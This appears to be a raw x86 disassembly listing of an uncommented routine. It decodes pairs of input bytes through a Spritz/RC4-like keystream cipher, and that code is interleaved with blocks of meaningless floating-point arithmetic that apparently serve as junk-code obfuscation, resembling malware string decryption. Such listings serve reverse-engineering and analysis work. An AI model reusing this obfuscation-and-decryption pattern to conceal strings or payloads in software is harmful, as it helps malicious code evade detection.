movzx eax, byte [ebp - 0x4ab]
movzx eax, byte [ebp + eax - 0xd48]
movzx ecx, byte [ebp - 0x4b0]
add ecx, eax
mov byte [ebp - 0x4b0], cl
mov al, byte [ebp - 0x4ab]
add al, 1
mov byte [ebp - 0x4ab], al
movzx eax, byte [ebp - 0x4b0]
movzx ecx, byte [ebp - 0x4b7]
mov al, byte [ebp + eax - 0xd48]
mov byte [ebp + ecx - 0xd48], al
movzx eax, byte [ebp - 0x4af]
movzx ecx, byte [ebp - 0x4b0]
mov al, byte [ebp + eax - 0xd48]
mov byte [ebp + ecx - 0xd48], al
movzx eax, byte [ebp - 0x4ab]
movzx ecx, byte [ebp - 0x4af]
mov al, byte [ebp + eax - 0xd48]
mov byte [ebp + ecx - 0xd48], al
movzx eax, byte [ebp - 0x4ab]
mov cl, byte [ebp - 0x4bf]
mov byte [ebp + eax - 0xd48], cl
movzx eax, byte [ebp - 0x4bf]
movzx eax, byte [ebp + eax - 0xd48]
movzx ecx, byte [ebp - 0x4c0]
add ecx, eax
mov byte [ebp - 0x4c0], cl
movzx eax, byte [ebp - 0x4c1]
movzx ecx, byte [ebp - 0x4b0]
movzx ecx, byte [ebp + ecx - 0xd48]
movzx edx, byte [ebp - 0x4ab]
movzx edx, byte [ebp + edx - 0xd48]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd48]
xor eax, ecx
movzx ecx, byte [ebp - 0x4af]
movzx ecx, byte [ebp + ecx - 0xd48]
movzx edx, byte [ebp - 0x4b7]
movzx edx, byte [ebp + edx - 0xd48]
add ecx, edx
movzx edx, byte [ebp - 0x4c0]
movzx edx, byte [ebp + edx - 0xd48]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd48]
movzx ecx, byte [ebp + ecx - 0xd48]
xor eax, ecx
mov byte [ebp - 0x4af], al
mov al, byte [ebp - 0x4c1]
mov byte [ebp - 0x4b7], al
mov al, byte [ebp - 0x4af]
mov byte [ebp - 0x4d7], al
cmp dword [ebp - 0x4e4], 0
jle 0x56bc35
movsx ax, byte [ebp - 0x4d7]
mov ecx, dword [ebp - 0x4e4]
mov word [ebp + ecx*2 - 0x66], ax
mov eax, dword [ebp - 0x58c]
add eax, 4
mov dword [ebp - 0x58c], eax
mov eax, dword [ebp - 0x4e4]
inc eax
mov dword [ebp - 0x88c], eax
jmp 0x56bc60
mov eax, dword [ebp - 0x88c]
inc eax
mov dword [ebp - 0x88c], eax
mov eax, dword [ebp - 0x88c]
cmp eax, dword [ebp - 0x58c]
jge 0x56c1b9
mov eax, dword [ebp - 0x4e4]
inc eax
mov dword [ebp - 0x4e4], eax
movsd xmm0, qword [0xa6b6c0]
movsd qword [ebp - 0x5ec], xmm0
movsd xmm0, qword [0xa6b5f0]
movsd qword [ebp - 0x5a4], xmm0
movsd xmm0, qword [0xa6b500]
movsd qword [ebp - 0x594], xmm0
movsd xmm0, qword [ebp - 0x5ec]
addsd xmm0, qword [ebp - 0x594]
movsd qword [ebp - 0x5ec], xmm0
movsd xmm0, qword [ebp - 0x5ec]
addsd xmm0, qword [ebp - 0x594]
movsd qword [ebp - 0x5ec], xmm0
movsd xmm0, qword [ebp - 0x5ec]
subsd xmm0, qword [ebp - 0x594]
movsd qword [ebp - 0x5ec], xmm0
movsd xmm0, qword [ebp - 0x594]
comisd xmm0, xmmword [ebp - 0x5ec]
jbe 0x56bf33
movsd xmm0, qword [ebp - 0x5a4]
mulsd xmm0, qword [ebp - 0x594]
movsd qword [ebp - 0x5a4], xmm0
movsd xmm0, qword [ebp - 0x594]
subsd xmm0, qword [ebp - 0x5ec]
movsd qword [ebp - 0x594], xmm0
movsd xmm0, qword [ebp - 0x5a4]
divsd xmm0, qword [ebp - 0x594]
movsd qword [ebp - 0x5a4], xmm0
movsd xmm0, qword [ebp - 0x594]
subsd xmm0, qword [ebp - 0x5a4]
movsd qword [ebp - 0x594], xmm0
movsd xmm0, qword [ebp - 0x594]
mulsd xmm0, qword [ebp - 0x5a4]
movsd qword [ebp - 0x594], xmm0
movsd xmm0, qword [ebp - 0x5ec]
subsd xmm0, qword [ebp - 0x594]
movsd qword [ebp - 0x5ec], xmm0
movsd xmm0, qword [ebp - 0x594]
comisd xmm0, xmmword [ebp - 0x5a4]
jbe 0x56bee9
movsd xmm0, qword [ebp - 0x5ec]
divsd xmm0, qword [ebp - 0x5a4]
movsd qword [ebp - 0x5ec], xmm0
movsd xmm0, qword [ebp - 0x5a4]
divsd xmm0, qword [ebp - 0x594]
movsd qword [ebp - 0x5a4], xmm0
movsd xmm0, qword [ebp - 0x5a4]
subsd xmm0, qword [ebp - 0x594]
movsd qword [ebp - 0x5a4], xmm0
movsd xmm0, qword [ebp - 0x594]
mulsd xmm0, qword [ebp - 0x5a4]
movsd qword [ebp - 0x594], xmm0
movsd xmm0, qword [ebp - 0x5a4]
divsd xmm0, qword [ebp - 0x5ec]
movsd qword [ebp - 0x5a4], xmm0
movsd xmm0, qword [ebp - 0x594]
addsd xmm0, qword [ebp - 0x5a4]
movsd qword [ebp - 0x594], xmm0
movsd xmm0, qword [ebp - 0x5ec]
comisd xmm0, xmmword [ebp - 0x5a4]
jbe 0x56be9f
movsd xmm0, qword [ebp - 0x5ec]
divsd xmm0, qword [ebp - 0x594]
movsd qword [ebp - 0x5ec], xmm0
movsd xmm0, qword [ebp - 0x594]
subsd xmm0, qword [ebp - 0x5a4]
movsd qword [ebp - 0x594], xmm0
movsd xmm0, qword [ebp - 0x5ec]
subsd xmm0, qword [ebp - 0x594]
movsd qword [ebp - 0x5ec], xmm0
jmp 0x56bee7
movsd xmm0, qword [ebp - 0x5a4]
addsd xmm0, qword [ebp - 0x594]
movsd qword [ebp - 0x5a4], xmm0
movsd xmm0, qword [ebp - 0x594]
addsd xmm0, qword [ebp - 0x5ec]
movsd qword [ebp - 0x594], xmm0
movsd xmm0, qword [ebp - 0x5ec]
subsd xmm0, qword [ebp - 0x5a4]
movsd qword [ebp - 0x5ec], xmm0
jmp 0x56bf31
movsd xmm0, qword [ebp - 0x5a4]
mulsd xmm0, qword [ebp - 0x594]
movsd qword [ebp - 0x5a4], xmm0
movsd xmm0, qword [ebp - 0x5ec]
divsd xmm0, qword [ebp - 0x5a4]
movsd qword [ebp - 0x5ec], xmm0
movsd xmm0, qword [ebp - 0x594]
divsd xmm0, qword [ebp - 0x5ec]
movsd qword [ebp - 0x594], xmm0
jmp 0x56bf89
movsd xmm0, qword [ebp - 0x5a4]
subsd xmm0, qword [ebp - 0x5ec]
movsd qword [ebp - 0x5a4], xmm0
movsd xmm0, qword [ebp - 0x594]
addsd xmm0, qword [ebp - 0x5a4]
movsd qword [ebp - 0x594], xmm0
movsd xmm0, qword [ebp - 0x5a4]
subsd xmm0, qword [ebp - 0x5ec]
movsd qword [ebp - 0x5a4], xmm0
mov eax, dword [ebp - 0x4e4]
shl eax, 1
mov dword [ebp - 0x6c4], eax
mov eax, dword [ebp - 0x6c0]
add eax, dword [ebp - 0x6c4]
movzx eax, byte [eax]
mov dword [ebp - 0x664], eax
mov dword [ebp - 0x668], 0xc5
mov eax, dword [ebp - 0x4e4]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x6bc], eax
mov eax, dword [ebp - 0x6c0]
add eax, dword [ebp - 0x6bc]
movzx eax, byte [eax]
mov dword [ebp - 0x680], eax
mov dword [ebp - 0x698], 5
mov eax, dword [ebp - 0x664]
sub eax, dword [ebp - 0x668]
mov dword [ebp - 0x670], eax
mov eax, dword [ebp - 0x680]
sub eax, dword [ebp - 0x698]
mov dword [ebp - 0x674], eax
mov eax, dword [ebp - 0x670]
shl eax, 4
mov dword [ebp - 0x6b8], eax
mov eax, dword [ebp - 0x674]
mov dword [ebp - 0x6b0], eax
mov eax, dword [ebp - 0x6b8]
or eax, dword [ebp - 0x6b0]
mov dword [ebp - 0x6b4], eax
mov al, byte [ebp - 0x6b4]
mov byte [ebp - 0x4c1], al
movzx eax, byte [ebp - 0x4b7]
mov al, byte [ebp + eax - 0xd48]
mov byte [ebp - 0x4bf], al
movzx eax, byte [ebp - 0x4ab]
movzx eax, byte [ebp + eax - 0xd48]
movzx ecx, byte [ebp - 0x4b0]
add ecx, eax
mov byte [ebp - 0x4b0], cl
mov al, byte [ebp - 0x4ab]
add al, 1
mov byte [ebp - 0x4ab], al
movzx eax, byte [ebp - 0x4b0]
movzx ecx, byte [ebp - 0x4b7]
mov al, byte [ebp + eax - 0xd48]
mov byte [ebp + ecx - 0xd48], al
movzx eax, byte [ebp - 0x4af]
movzx ecx, byte [ebp - 0x4b0]
mov al, byte [ebp + eax - 0xd48]
mov byte [ebp + ecx - 0xd48], al
movzx eax, byte [ebp - 0x4ab]
movzx ecx, byte [ebp - 0x4af]
mov al, byte [ebp + eax - 0xd48]
mov byte [ebp + ecx - 0xd48], al
movzx eax, byte [ebp - 0x4ab]
mov cl, byte [ebp - 0x4bf]
mov byte [ebp + eax - 0xd48], cl
movzx eax, byte [ebp - 0x4bf]
movzx eax, byte [ebp + eax - 0xd48]
movzx ecx, byte [ebp - 0x4c0]
add ecx, eax
mov byte [ebp - 0x4c0], cl
movzx eax, byte [ebp - 0x4c1]
movzx ecx, byte [ebp - 0x4b0]
movzx ecx, byte [ebp + ecx - 0xd48]
movzx edx, byte [ebp - 0x4ab]
movzx edx, byte [ebp + edx - 0xd48]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd48]
xor eax, ecx
movzx ecx, byte [ebp - 0x4af]
movzx ecx, byte [ebp + ecx - 0xd48]
movzx edx, byte [ebp - 0x4b7]
movzx edx, byte [ebp + edx - 0xd48]
add ecx, edx
movzx edx, byte [ebp - 0x4c0]
movzx edx, byte [ebp + edx - 0xd48]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd48]
movzx ecx, byte [ebp + ecx - 0xd48]
xor eax, ecx
mov byte [ebp - 0x4af], al
mov al, byte [ebp - 0x4c1]
mov byte [ebp - 0x4b7], al
mov al, byte [ebp - 0x4af]
mov byte [ebp - 0x4d7], al
cmp dword [ebp - 0x4e4], 0
jle 0x56c1b4
movsx ax, byte [ebp - 0x4d7]
mov ecx, dword [ebp - 0x4e4]
mov word [ebp + ecx*2 - 0x66], ax
jmp 0x56bc53
mov eax, dword [ebp - 0x58c]
inc eax
mov dword [ebp - 0x58c], eax
mov eax, dword [ebp - 0x58c]
add eax, 5
mov dword [ebp - 0x58c], eax
mov eax, dword [ebp - 0x4e4]
inc eax
mov dword [ebp - 0x870], eax
jmp 0x56c1f1
mov eax, dword [ebp - 0x870]
inc eax
mov dword [ebp - 0x870], eax
mov eax, dword [ebp - 0x870]
cmp eax, dword [ebp - 0x58c]
jge 0x56c6fa
mov eax, dword [ebp - 0x4e4]
inc eax
mov dword [ebp - 0x4e4], eax
mov eax, dword [ebp - 0x4e4]
shl eax, 1
mov dword [ebp - 0x6c4], eax
mov eax, dword [ebp - 0x6c0]
add eax, dword [ebp - 0x6c4]
movzx eax, byte [eax]
mov dword [ebp - 0x664], eax
movsd xmm0, qword [0xa6b6d8]
movsd qword [ebp - 0x688], xmm0
movsd xmm0, qword [0xa6b638]
movsd qword [ebp - 0x784], xmm0
movsd xmm0, qword [0xa6b580]
movsd qword [ebp - 0x644], xmm0
movsd xmm0, qword [0xa6b498]
movsd qword [ebp - 0x760], xmm0
movsd xmm0, qword [ebp - 0x688]
addsd xmm0, qword [ebp - 0x760]
movsd qword [ebp - 0x688], xmm0
movsd xmm0, qword [ebp - 0x644]
subsd xmm0, qword [ebp - 0x760]
movsd qword [ebp - 0x644], xmm0
movsd xmm0, qword [ebp - 0x688]
addsd xmm0, qword [ebp - 0x760]
movsd qword [ebp - 0x688], xmm0
movsd xmm0, qword [ebp - 0x784]
addsd xmm0, qword [ebp - 0x760]
movsd qword [ebp - 0x784], xmm0
movsd xmm0, qword [ebp - 0x644]
comisd xmm0, xmmword [ebp - 0x688]
jbe 0x56c47f
movsd xmm0, qword [ebp - 0x644]
mulsd xmm0, qword [ebp - 0x760]
movsd qword [ebp - 0x644], xmm0
movsd xmm0, qword [ebp - 0x784]
subsd xmm0, qword [ebp - 0x644]
movsd qword [ebp - 0x784], xmm0
movsd xmm0, qword [ebp - 0x644]
addsd xmm0, qword [ebp - 0x760]
movsd qword [ebp - 0x644], xmm0
movsd xmm0, qword [ebp - 0x688]
mulsd xmm0, qword [ebp - 0x784]
movsd qword [ebp - 0x688], xmm0
movsd xmm0, qword [ebp - 0x644]
mulsd xmm0, qword [ebp - 0x688]
movsd qword [ebp - 0x644], xmm0
movsd xmm0, qword [ebp - 0x784]
divsd xmm0, qword [ebp - 0x760]
movsd qword [ebp - 0x784], xmm0
movsd xmm0, qword [ebp - 0x784]
addsd xmm0, qword [ebp - 0x760]
movsd qword [ebp - 0x784], xmm0
movsd xmm0, qword [ebp - 0x688]
subsd xmm0, qword [ebp - 0x644]
movsd qword [ebp - 0x688], xmm0
movsd xmm0, qword [ebp - 0x688]
comisd xmm0, xmmword [ebp - 0x644]
jbe 0x56c41d
movsd xmm0, qword [ebp - 0x688]
addsd xmm0, qword [ebp - 0x644]
movsd qword [ebp - 0x688], xmm0
movsd xmm0, qword [ebp - 0x644]
addsd xmm0, qword [ebp - 0x688]
movsd qword [ebp - 0x644], xmm0
movsd xmm0, qword [ebp - 0x644]
addsd xmm0, qword [ebp - 0x688]
movsd qword [ebp - 0x644], xmm0
movsd xmm0, qword [ebp - 0x644]
addsd xmm0, qword [ebp - 0x688]
movsd qword [ebp - 0x644], xmm0
jmp 0x56c47d
movsd xmm0, qword [ebp - 0x760]
divsd xmm0, qword [ebp - 0x688]
movsd qword [ebp - 0x760], xmm0
movsd xmm0, qword [ebp - 0x644]
subsd xmm0, qword [ebp - 0x760]
movsd qword [ebp - 0x644], xmm0
movsd xmm0, qword [ebp - 0x688]
mulsd xmm0, qword [ebp - 0x784]
movsd qword [ebp - 0x688], xmm0
movsd xmm0, qword [ebp - 0x644]
mulsd xmm0, qword [ebp - 0x760]
movsd qword [ebp - 0x644], xmm0
jmp 0x56c4e9
movsd xmm0, qword [ebp - 0x688]
mulsd xmm0, qword [ebp - 0x644]
movsd qword [ebp - 0x688], xmm0
movsd xmm0, qword [ebp - 0x784]
subsd xmm0, qword [ebp - 0x760]
movsd qword [ebp - 0x784], xmm0
movsd xmm0, qword [ebp - 0x688]
mulsd xmm0, qword [ebp - 0x644]
movsd qword [ebp - 0x688], xmm0
movsd xmm0, qword [ebp - 0x760]
mulsd xmm0, qword [ebp - 0x784]
movsd qword [ebp - 0x760], xmm0
mov dword [ebp - 0x668], 0xc5
mov eax, dword [ebp - 0x4e4]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x6bc], eax
mov eax, dword [ebp - 0x6c0]
add eax, dword [ebp - 0x6bc]
movzx eax, byte [eax]
mov dword [ebp - 0x680], eax
mov dword [ebp - 0x698], 5
mov eax, dword [ebp - 0x664]
sub eax, dword [ebp - 0x668]
mov dword [ebp - 0x670], eax
mov eax, dword [ebp - 0x680]
sub eax, dword [ebp - 0x698]
mov dword [ebp - 0x674], eax
mov eax, dword [ebp - 0x670]
shl eax, 4
mov dword [ebp - 0x6b8], eax
mov eax, dword [ebp - 0x674]
mov dword [ebp - 0x6b0], eax
mov eax, dword [ebp - 0x6b8]
or eax, dword [ebp - 0x6b0]
mov dword [ebp - 0x6b4], eax
mov al, byte [ebp - 0x6b4]
mov byte [ebp - 0x4c1], al
movzx eax, byte [ebp - 0x4b7]
mov al, byte [ebp + eax - 0xd48]
mov byte [ebp - 0x4bf], al
movzx eax, byte [ebp - 0x4ab]
movzx eax, byte [ebp + eax - 0xd48]
movzx ecx, byte [ebp - 0x4b0]
add ecx, eax
mov byte [ebp - 0x4b0], cl
mov al, byte [ebp - 0x4ab]
add al, 1
mov byte [ebp - 0x4ab], al
movzx eax, byte [ebp - 0x4b0]
movzx ecx, byte [ebp - 0x4b7]
mov al, byte [ebp + eax - 0xd48]
mov byte [ebp + ecx - 0xd48], al
movzx eax, byte [ebp - 0x4af]
movzx ecx, byte [ebp - 0x4b0]
mov al, byte [ebp + eax - 0xd48]
mov byte [ebp + ecx - 0xd48], al
movzx eax, byte [ebp - 0x4ab]
movzx ecx, byte [ebp - 0x4af]
mov al, byte [ebp + eax - 0xd48]
mov byte [ebp + ecx - 0xd48], al
movzx eax, byte [ebp - 0x4ab]
mov cl, byte [ebp - 0x4bf]
mov byte [ebp + eax - 0xd48], cl
movzx eax, byte [ebp - 0x4bf]
movzx eax, byte [ebp + eax - 0xd48]
movzx ecx, byte [ebp - 0x4c0]
add ecx, eax
mov byte [ebp - 0x4c0], cl
movzx eax, byte [ebp - 0x4c1]
movzx ecx, byte [ebp - 0x4b0]
movzx ecx, byte [ebp + ecx - 0xd48]
movzx edx, byte [ebp - 0x4ab]
movzx edx, byte [ebp + edx - 0xd48]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd48]
xor eax, ecx
movzx ecx, byte [ebp - 0x4af]
movzx ecx, byte [ebp + ecx - 0xd48]
movzx edx, byte [ebp - 0x4b7]
movzx edx, byte [ebp + edx - 0xd48]
add ecx, edx
movzx edx, byte [ebp - 0x4c0]
movzx edx, byte [ebp + edx - 0xd48]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd48]
movzx ecx, byte [ebp + ecx - 0xd48]
xor eax, ecx
mov byte [ebp - 0x4af], al
mov al, byte [ebp - 0x4c1]
mov byte [ebp - 0x4b7], al
mov al, byte [ebp - 0x4af]
mov byte [ebp - 0x4d7], al
cmp dword [ebp - 0x4e4], 0
jle 0x56c6f5
movsx ax, byte [ebp - 0x4d7]
mov ecx, dword [ebp - 0x4e4]
mov word [ebp + ecx*2 - 0x66], ax
jmp 0x56c1e4
mov eax, dword [ebp - 0x58c]
inc eax
mov dword [ebp - 0x58c], eax
mov eax, dword [ebp - 0x4e4]
inc eax
mov dword [ebp - 0x4e4], eax
mov eax, dword [ebp - 0x58c]
inc eax
mov dword [ebp - 0x58c], eax
mov eax, dword [ebp - 0x4e4]
shl eax, 1
mov dword [ebp - 0x6c4], eax
mov eax, dword [ebp - 0x6c0]
add eax, dword [ebp - 0x6c4]
movzx eax, byte [eax]
mov dword [ebp - 0x664], eax
mov dword [ebp - 0x668], 0xc5
mov eax, dword [ebp - 0x4e4]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x6bc], eax
mov eax, dword [ebp - 0x6c0]
add eax, dword [ebp - 0x6bc]
movzx eax, byte [eax]
mov dword [ebp - 0x680], eax
mov dword [ebp - 0x698], 5
mov eax, dword [ebp - 0x664]
sub eax, dword [ebp - 0x668]
mov dword [ebp - 0x670], eax
mov eax, dword [ebp - 0x680]
sub eax, dword [ebp - 0x698]
mov dword [ebp - 0x674], eax
mov eax, dword [ebp - 0x670]
shl eax, 4
mov dword [ebp - 0x6b8], eax
mov eax, dword [ebp - 0x674]
mov dword [ebp - 0x6b0], eax
mov eax, dword [ebp - 0x6b8]
or eax, dword [ebp - 0x6b0]
mov dword [ebp - 0x6b4], eax
mov al, byte [ebp - 0x6b4]
mov byte [ebp - 0x4c1], al
movzx eax, byte [ebp - 0x4b7]
mov al, byte [ebp + eax - 0xd48]
mov byte [ebp - 0x4bf], al
movzx eax, byte [ebp - 0x4ab]
movzx eax, byte [ebp + eax - 0xd48]
movzx ecx, byte [ebp - 0x4b0]
add ecx, eax
mov byte [ebp - 0x4b0], cl
mov al, byte [ebp - 0x4ab]
add al, 1
mov byte [ebp - 0x4ab], al
movzx eax, byte [ebp - 0x4b0]
movzx ecx, byte [ebp - 0x4b7]
mov al, byte [ebp + eax - 0xd48]
mov byte [ebp + ecx - 0xd48], al
movzx eax, byte [ebp - 0x4af]
movzx ecx, byte [ebp - 0x4b0]
mov al, byte [ebp + eax - 0xd48]
mov byte [ebp + ecx - 0xd48], al
movzx eax, byte [ebp - 0x4ab]
movzx ecx, byte [ebp - 0x4af]
mov al, byte [ebp + eax - 0xd48]
mov byte [ebp + ecx - 0xd48], al
movzx eax, byte [ebp - 0x4ab]
mov cl, byte [ebp - 0x4bf]
mov byte [ebp + eax - 0xd48], cl
movzx eax, byte [ebp - 0x4bf]
movzx eax, byte [ebp + eax - 0xd48]
movzx ecx, byte [ebp - 0x4c0]
add ecx, eax
mov byte [ebp - 0x4c0], cl
movzx eax, byte [ebp - 0x4c1]
movzx ecx, byte [ebp - 0x4b0]
movzx ecx, byte [ebp + ecx - 0xd48]
movzx edx, byte [ebp - 0x4ab]
movzx edx, byte [ebp + edx - 0xd48]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd48]
xor eax, ecx
movzx ecx, byte [ebp - 0x4af]
movzx ecx, byte [ebp + ecx - 0xd48]
movzx edx, byte [ebp - 0x4b7]
movzx edx, byte [ebp + edx - 0xd48]
add ecx, edx
movzx edx, byte [ebp - 0x4c0]
movzx edx, byte [ebp + edx - 0xd48]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd48]
movzx ecx, byte [ebp + ecx - 0xd48]
xor eax, ecx
mov byte [ebp - 0x4af], al
mov al, byte [ebp - 0x4c1]
mov byte [ebp - 0x4b7], al
mov al, byte [ebp - 0x4af]
mov byte [ebp - 0x4d7], al
cmp dword [ebp - 0x4e4], 0
jle 0x56c95a
movsx ax, byte [ebp - 0x4d7]
mov ecx, dword [ebp - 0x4e4]
mov word [ebp + ecx*2 - 0x66], ax
mov eax, dword [ebp - 0x4e4]
inc eax
mov dword [ebp - 0x4e4], eax
mov eax, dword [ebp - 0x58c]
inc eax
mov dword [ebp - 0x58c], eax
mov eax, dword [ebp - 0x4e4]
shl eax, 1
mov dword [ebp - 0x6c4], eax
mov eax, dword [ebp - 0x6c0]
add eax, dword [ebp - 0x6c4]
movzx eax, byte [eax]
mov dword [ebp - 0x664], eax
mov dword [ebp - 0x668], 0xc5
mov eax, dword [ebp - 0x4e4]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x6bc], eax
mov eax, dword [ebp - 0x6c0]
add eax, dword [ebp - 0x6bc]
movzx eax, byte [eax]
mov dword [ebp - 0x680], eax
mov dword [ebp - 0x698], 5
mov eax, dword [ebp - 0x664]
sub eax, dword [ebp - 0x668]
mov dword [ebp - 0x670], eax
mov eax, dword [ebp - 0x680]
sub eax, dword [ebp - 0x698]
mov dword [ebp - 0x674], eax
mov eax, dword [ebp - 0x670]
shl eax, 4
mov dword [ebp - 0x6b8], eax
mov eax, dword [ebp - 0x674]
mov dword [ebp - 0x6b0], eax
mov eax, dword [ebp - 0x6b8]
or eax, dword [ebp - 0x6b0]
mov dword [ebp - 0x6b4], eax
mov al, byte [ebp - 0x6b4]
mov byte [ebp - 0x4c1], al
movzx eax, byte [ebp - 0x4b7]
mov al, byte [ebp + eax - 0xd48]
mov byte [ebp - 0x4bf], al
movzx eax, byte [ebp - 0x4ab]
movzx eax, byte [ebp + eax - 0xd48]
movzx ecx, byte [ebp - 0x4b0]
add ecx, eax
mov byte [ebp - 0x4b0], cl
mov al, byte [ebp - 0x4ab]
add al, 1
mov byte [ebp - 0x4ab], al
movsd xmm0, qword [0xa6b688]
movsd qword [ebp - 0x704], xmm0
movsd xmm0, qword [0xa6b5c8]
movsd qword [ebp - 0x6fc], xmm0
movsd xmm0, qword [0xa6b538]
movsd qword [ebp - 0x748], xmm0
movsd xmm0, qword [0xa6b468]
movsd qword [ebp - 0x6a0], xmm0
movsd xmm0, qword [ebp - 0x6fc]
subsd xmm0, qword [ebp - 0x6a0]
movsd qword [ebp - 0x6fc], xmm0
movsd xmm0, qword [ebp - 0x748]
addsd xmm0, qword [ebp - 0x6a0]
movsd qword [ebp - 0x748], xmm0
movsd xmm0, qword [ebp - 0x704]
subsd xmm0, qword [ebp - 0x6a0]
movsd qword [ebp - 0x704], xmm0
movsd xmm0, qword [ebp - 0x6fc]
addsd xmm0, qword [ebp - 0x6a0]
movsd qword [ebp - 0x6fc], xmm0
movsd xmm0, qword [ebp - 0x748]
comisd xmm0, xmmword [ebp - 0x6a0]
jbe 0x56cba4
movsd xmm0, qword [ebp - 0x6a0]
subsd xmm0, qword [ebp - 0x704]
movsd qword [ebp - 0x6a0], xmm0
movsd xmm0, qword [ebp - 0x6fc]
addsd xmm0, qword [ebp - 0x748]
movsd qword [ebp - 0x6fc], xmm0
movsd xmm0, qword [ebp - 0x6fc]
addsd xmm0, qword [ebp - 0x748]
movsd qword [ebp - 0x6fc], xmm0
movsd xmm0, qword [ebp - 0x6a0]
subsd xmm0, qword [ebp - 0x704]
movsd qword [ebp - 0x6a0], xmm0
movzx eax, byte [ebp - 0x4b0]
movzx ecx, byte [ebp - 0x4b7]
mov al, byte [ebp + eax - 0xd48]
mov byte [ebp + ecx - 0xd48], al
jmp 0x56cd38
movsd xmm0, qword [ebp - 0x704]
addsd xmm0, qword [ebp - 0x6fc]
movsd qword [ebp - 0x704], xmm0
movsd xmm0, qword [ebp - 0x6a0]
addsd xmm0, qword [ebp - 0x704]
movsd qword [ebp - 0x6a0], xmm0
movsd xmm0, qword [ebp - 0x704]
mulsd xmm0, qword [ebp - 0x6fc]
movsd qword [ebp - 0x704], xmm0
movsd xmm0, qword [ebp - 0x6a0]
addsd xmm0, qword [ebp - 0x704]
movsd qword [ebp - 0x6a0], xmm0
movsd xmm0, qword [ebp - 0x6a0]
divsd xmm0, qword [ebp - 0x6fc]
movsd qword [ebp - 0x6a0], xmm0
movsd xmm0, qword [ebp - 0x748]
subsd xmm0, qword [ebp - 0x704]
movsd qword [ebp - 0x748], xmm0
movsd xmm0, qword [ebp - 0x748]
divsd xmm0, qword [ebp - 0x704]
movsd qword [ebp - 0x748], xmm0
movsd xmm0, qword [ebp - 0x6fc]
mulsd xmm0, qword [ebp - 0x6a0]
movsd qword [ebp - 0x6fc], xmm0
movsd xmm0, qword [ebp - 0x704]
comisd xmm0, xmmword [ebp - 0x748]
jbe 0x56ccd8
movsd xmm0, qword [ebp - 0x748]
mulsd xmm0, qword [ebp - 0x704]
movsd qword [ebp - 0x748], xmm0
movsd xmm0, qword [ebp - 0x704]
divsd xmm0, qword [ebp - 0x748]
movsd qword [ebp - 0x704], xmm0
movsd xmm0, qword [ebp - 0x6fc]
mulsd xmm0, qword [ebp - 0x6a0]
movsd qword [ebp - 0x6fc], xmm0
movsd xmm0, qword [ebp - 0x6fc]
divsd xmm0, qword [ebp - 0x6a0]
movsd qword [ebp - 0x6fc], xmm0
jmp 0x56cd38
movsd xmm0, qword [ebp - 0x6a0]
divsd xmm0, qword [ebp - 0x6fc]
movsd qword [ebp - 0x6a0], xmm0
movsd xmm0, qword [ebp - 0x748]
divsd xmm0, qword [ebp - 0x704]
movsd qword [ebp - 0x748], xmm0
movsd xmm0, qword [ebp - 0x704]
mulsd xmm0, qword [ebp - 0x748]
movsd qword [ebp - 0x704], xmm0
movsd xmm0, qword [ebp - 0x6a0]
subsd xmm0, qword [ebp - 0x6fc]
movsd qword [ebp - 0x6a0], xmm0
movzx eax, byte [ebp - 0x4af]
movzx ecx, byte [ebp - 0x4b0]
mov al, byte [ebp + eax - 0xd48]
mov byte [ebp + ecx - 0xd48], al
movzx eax, byte [ebp - 0x4ab]
movzx ecx, byte [ebp - 0x4af]
mov al, byte [ebp + eax - 0xd48]
mov byte [ebp + ecx - 0xd48], al
movzx eax, byte [ebp - 0x4ab]
mov cl, byte [ebp - 0x4bf]
mov byte [ebp + eax - 0xd48], cl
movzx eax, byte [ebp - 0x4bf]
movzx eax, byte [ebp + eax - 0xd48]
movzx ecx, byte [ebp - 0x4c0]
add ecx, eax
mov byte [ebp - 0x4c0], cl
movzx eax, byte [ebp - 0x4c1]
movzx ecx, byte [ebp - 0x4b0]
movzx ecx, byte [ebp + ecx - 0xd48]
movzx edx, byte [ebp - 0x4ab]
movzx edx, byte [ebp + edx - 0xd48]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd48]
xor eax, ecx
movzx ecx, byte [ebp - 0x4af]
movzx ecx, byte [ebp + ecx - 0xd48]
movzx edx, byte [ebp - 0x4b7]
movzx edx, byte [ebp + edx - 0xd48]
add ecx, edx
movzx edx, byte [ebp - 0x4c0]
movzx edx, byte [ebp + edx - 0xd48]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd48]
movzx ecx, byte [ebp + ecx - 0xd48]
xor eax, ecx
mov byte [ebp - 0x4af], al
mov al, byte [ebp - 0x4c1]
mov byte [ebp - 0x4b7], al
mov al, byte [ebp - 0x4af]
mov byte [ebp - 0x4d7], al
cmp dword [ebp - 0x4e4], 0
jle 0x56ce5c
movsx ax, byte [ebp - 0x4d7]
mov ecx, dword [ebp - 0x4e4]
mov word [ebp + ecx*2 - 0x66], ax
push 2
pop eax
imul eax, eax, 0xb
mov dword [ebp - 0x8e4], eax
cmp dword [ebp - 0x8e4], 0x18
jae 0x56ce73
jmp 0x56ce78
call fcn.009ec5b7
xor eax, eax
mov ecx, dword [ebp - 0x8e4]
mov word [ebp + ecx - 0x64], ax
jmp 0x56ced3
and dword [ebp - 0x83c], 0
jmp 0x56ce9d
mov eax, dword [ebp - 0x83c]
inc eax
mov dword [ebp - 0x83c], eax
cmp dword [ebp - 0x83c], 0xc
jge 0x56ced3
mov eax, dword [ebp - 0x83c]
shl eax, 1
mov dword [ebp - 0x8e0], eax
cmp dword [ebp - 0x8e0], 0x18
jae 0x56cebf
jmp 0x56cec4
call fcn.009ec5b7
xor eax, eax
mov ecx, dword [ebp - 0x8e0]
mov word [ebp + ecx - 0x64], ax
jmp 0x56ce90
push 4
call fcn.009ec26e
pop ecx
